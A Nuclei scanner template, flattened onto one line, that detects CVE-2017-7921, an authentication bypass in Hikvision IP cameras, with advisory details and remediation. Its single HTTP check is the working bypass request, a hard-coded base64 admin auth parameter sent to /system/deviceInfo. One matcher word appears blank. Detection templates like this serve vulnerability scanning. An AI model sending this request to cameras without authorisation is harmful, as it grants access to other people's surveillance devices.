id: CVE-2017-7921 info: name: Hikvision - Authentication Bypass author: princechaddha severity: critical description: Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices contain an improper authentication issue. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information. remediation: | Apply the latest firmware update provided by Hikvision to fix the authentication bypass vulnerability. reference: - http://www.hikvision.com/us/about_10805.html - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01 - https://nvd.nist.gov/vuln/detail/CVE-2017-7921 - https://ghostbin.com/paste/q2vq2 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2017-7921 cwe-id: CWE-287 epss-score: 0.01361 epss-percentile: 0.84786 cpe: cpe:2.3:o:hikvision:ds-2cd2032-i_firmware:-:*:*:*:*:*:*:* metadata: max-request: 1 vendor: hikvision product: ds-2cd2032-i_firmware tags: cve,cve2017,auth-bypass,hikvision http: - method: GET path: - "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK" matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - "application/xml" # digest: 4a0a0047304502206b23dd98af0ed13c7e68f61d232769aa63ac3e836fe405c2d468aa770dac041e022100fb32e124198a5be566787e4c23c57396f61402db16dbafe1a115ac0c838d0f2f:922c64590222798bb761d5b6d8e72950